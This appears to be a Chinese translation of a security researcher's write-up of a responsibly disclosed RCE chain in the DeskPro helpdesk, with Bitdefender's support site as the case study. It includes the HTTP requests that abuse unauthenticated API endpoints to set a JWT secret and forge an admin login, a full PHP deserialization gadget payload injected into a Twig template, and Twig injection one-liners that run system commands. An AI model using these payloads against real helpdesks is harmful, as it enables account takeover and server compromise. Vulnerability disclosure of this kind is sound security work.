Bitdefender网站中DeskPro应用的RCE链条
近日,我们团队决定研究一下最流行的helpdesk解决方案,并最终得到了不少漏洞。在这篇文章中,我们将解释如何利用这些漏洞,并最终实现RCE。我们的目标是被多个公司使用的DeskPro。
前言
如今,helpdesk是任何公司在线业务的重要组成部分。由于它会和客户交换许多敏感的信息,所以成为了黑客组织的的完美目标。
在2019年9月,我们决定看看一些最流行的开源helpdesk解决方案。而在云端和本地网络之间,我们更倾向于本地解决方案,因为这其中的安全风险不仅是数据泄露,还有潜在的内网渗透。因此,我们选择了DeskPro、osTicket和Kayako的本地版本。
关于DeskPro
根据他们的定义,Deskpro是一个helpdesk软件解决方案,帮助公司管理他们与客户和用户群的沟通,包含多个通信渠道,例如电子邮件,实时聊天,语音,社交媒体等
DeskPro的客户来自不同的行业,从他们的网站上可以看到一些著名的名字:微软、西门子、宝洁、沃达丰、HMRC、CapitalOne、松下、NHS、Valve、布朗大学、Hotel Chocolat、Garmin、Team USA、Arrow、Pure、Xerox、1&1、Booz Allen Hamilton、Bitdefender、美国国防部等等。
上一次发布DeskPro的CVE/漏洞是在2007年,而他们网站最近的安全通告是在2015年。这意味着这个应用要么非常健壮,要么被忽略。现在就让我们看看究竟是什么情况。
漏洞细节
接下来我们将集中介绍漏洞。
1.多个API端点的访问控制缺陷
DeskPro通过API接口实现了高度的自动化和集成,使开发人员能够轻松构建与系统的不同组件进行交互的应用。但是,我们发现多个API端点在验证用户权限方面存在问题,使得普通用户可以未经授权地执行和访问各种敏感操作和信息,以下是其中一些比较重要的。
/api/apps/* – (CVE-2020-11465)
控制/安装helpdesk应用,泄漏当前应用的配置,涉及某些授权应用,如JWT。这使攻击者能够伪造与系统上任何用户相似的有效身份验证模型。
/api/email_accounts – (CVE-2020-11463)
得到所有helpdesk电子邮件帐户的纯文本凭证,包括传入和传出电子邮件凭证。
/api/tickets – (CVE-2020-11466)
得到存储在数据库中带有多个过滤器的所有helpdesk票据的敏感信息。此外,它还泄漏了票据的验证代码,有可能更改票据。
/api/people – (CVE-2020-11464)
得到所有注册用户的敏感信息,包括他们的全名、权限、电子邮件地址、电话号码等。
2.模板编辑功能中反序列化所导致的RCE(需要管理员权限)[CVE-2020-11467]
DeskPro允许管理员通过编辑主题模板来修改helpdesk界面,而且还使用了TWIG作为模板引擎。虽然不能直接访问self
、_self
变量,但我们可以通过可访问的变量来使用PHP自带的unserialize
函数,我们往其中传递了payload来触发一组POP gadget,实现远程代码执行。
如何识别目标?
通过对/api/v2/helpdesk/discover
的调用,你可以得到一些版本信息,如果发现build_name
小于2019.8.0
,那么今天可能是你的幸运日。
Exploitation!
攻击计划如下:注册一个普通访客帐户(默认情况注册功能是开启的),得到JWT secret,以管理员身份登录,触发反序列化,拿下服务器!
Bitdefender支持中心(support.bitdefender.com)正使用了Deskpro。我们将在本文中以它作为目标。
不过首先我要感谢Bitdefender安全团队。尽管这些漏洞影响的是一个第三方产品,但他们在几个小时内就临时进行了修复,而且他们允许我们发表这篇文章。
所以让我们开始吧!
1.找到用户的API令牌
为了进行攻击,我们需要一个有效的用户帐户,这可以在https://support.bitdefender.com/en/register
上通过注册来轻松获得。
激活用户帐户后,我们可以通过向以下API端点(https://support.bitdefender.com/api/v2/api_token)发送用户名和密码来请求访问令牌,如下所示:
2.拿到JWT验证信息
注意:任何对API接口的进一步请求都需要将授权头设置为得到的API令牌的base64值。
DeskPro有一组用于身份验证的内置应用,其中之一是由deskpro_us_jwt
识别的JWT应用。JWT可以认作是一种跨域身份验证解决方案(也可增加一些额外的其它业务逻辑所必须的声明信息)。为了确保数据的完整性和安全性,通常使用一个密钥进行签名,该密钥可用于验证所提供的声明。因此,如果启用了JWT身份验证,并且我们有这个密钥,那么就可以作为任何用户向应用请求进行身份验证。
由于存在权限控制不严的漏洞,普通用户可以访问包括JWT在内大量API端点。这意味着,普通用户通过一个简单的GET请求https://support.bitdefender.com/api/apps/packages/deskpro_us_jwt?usersource_type=user
就能得到JWT secret。
在Bitdefender的案例中,JWT身份验证并没有启用。但是我们可以向相同的端点发出PUT请求来启用它,如下所示
PUT /api/apps/packages/deskpro_us_jwt?usersource_type=user HTTP/1.1
Host: support.bitdefender.com
Authorization: Basic <redacted>
Content-Type: application/json
Content-Length: 269
{"settings":{"sso_type":"none","auto_agent":true,"dp_app":{"title":"JSON Web Token (JWT)"},"actions":[],"enable_usersource":true,"url":"https://www.google.com","secret":"V3ryS3cr3tK3y","algo":"HS256","login_custom_text":"Login","logout_agent_url":"https://www.google.com"}}
此时再通过GET请求,我们可以确认用户是可用的。
3.Helpdesk的管理页面
为了能够伪造一个有效的JWT管理员令牌,我们需要知道管理员的电子邮件。此时我们利用了另一个API(https://support.bitdefender.com/api/people?is_agent=1),得到所有系统agent和管理员的列表。管理员中的标志`can_admin`会被设置为`true`。
在得到了管理员的邮件地址后,我们知道了JWT认证应用程序的secret,伪造了一个有效的JWT令牌,并使用https://support.bitdefender.com/login/authenticate-callback/6?jwt=<redacted>
进行授权。
4.在Bitdefender Helpdesk中执行任意代码
作为管理员登录后,我们可以触发存在于主题编辑功能中的反序列化漏洞。我们只需要准备一个适当的POP gadget来实现代码执行。接着我们在Guzzle library中发现了gadget链,而且这离不开ambionics公司开发的工具PHPGGC的帮助。
然后我们使用PHPGGC生成序列化对象,并编辑应用的模板,往其中插入payload:
PUT /portal/api/style/edit-theme-set/template-sources HTTP/1.1
Host: support.bitdefender.com
Cookie: <redacted>
Content-Type: application/json
Content-Length: 564
{"template":"Theme::layout.html.twig","code":"{% set p = 'O:24:\"GuzzleHttp\\\\Psr7\\\\FnStream\":2:{s:33:\"\\x00GuzzleHttp\\\\Psr7\\\\FnStream\\x00methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\\\HandlerStack\":3:{s:32:\"\\x00GuzzleHttp\\\\HandlerStack\\x00handler\";s:1:\"1\";s:30:\"\\x00GuzzleHttp\\\\HandlerStack\\x00stack\";a:1:{i:0;a:1:{i:0;s:7:\"phpinfo\";}}s:31:\"\\x00GuzzleHttp\\\\HandlerStack\\x00cached\";b:0;}i:1;s:7:\"resolve\";}}s:14:\"_fn___toString\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}' %} {{var_dump(app.getUser().unserialize(p))}}"}
现在,进入https://support.bitdefender.com/admin-preview-1/new-ticket
触发payload,结果如下:
此时,我们并没有横向渗透,而是向Bitdefender报告了漏洞。
后续
Mahmoud Gamal还提醒了我们另一种可以通过twig模板注入来实现RCE的方法,这甚至是2020年VolgaCTF资格赛的一部分。显然,有不少方法都可导致命令执行。
{{ app.request.query.filter(0,'whoami',1024,{'options':'system'}) }}
{{['whoami']|filter('system')}}
我们已经在最新的稳定版本上测试了这两种payload,效果都非常好。
影响
由于大多数helpdesk都开启了注册功能,所以这一系列漏洞造成的危害非常大。攻击者还可借此进入公司内部网络。
Bitdefender和DeskPro的响应
Bitdefender非常认真地对待这个问题,并在不到24小时内修复了漏洞,考虑到这是第三方产品中的漏洞,所以我必须表扬他们。
DeskPro则发布了一个安全通报,但他们没有提到远程代码执行,我们试图联系他们好几次,但一直没有得到回音。
Bitdefender也奖励了我们5000美元作为漏洞悬赏计划的一部分。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://blog.redforce.io/attacking-helpdesks-part-1-rce-chain-on-deskpro-with-bitdefender-as-case-study/
最新评论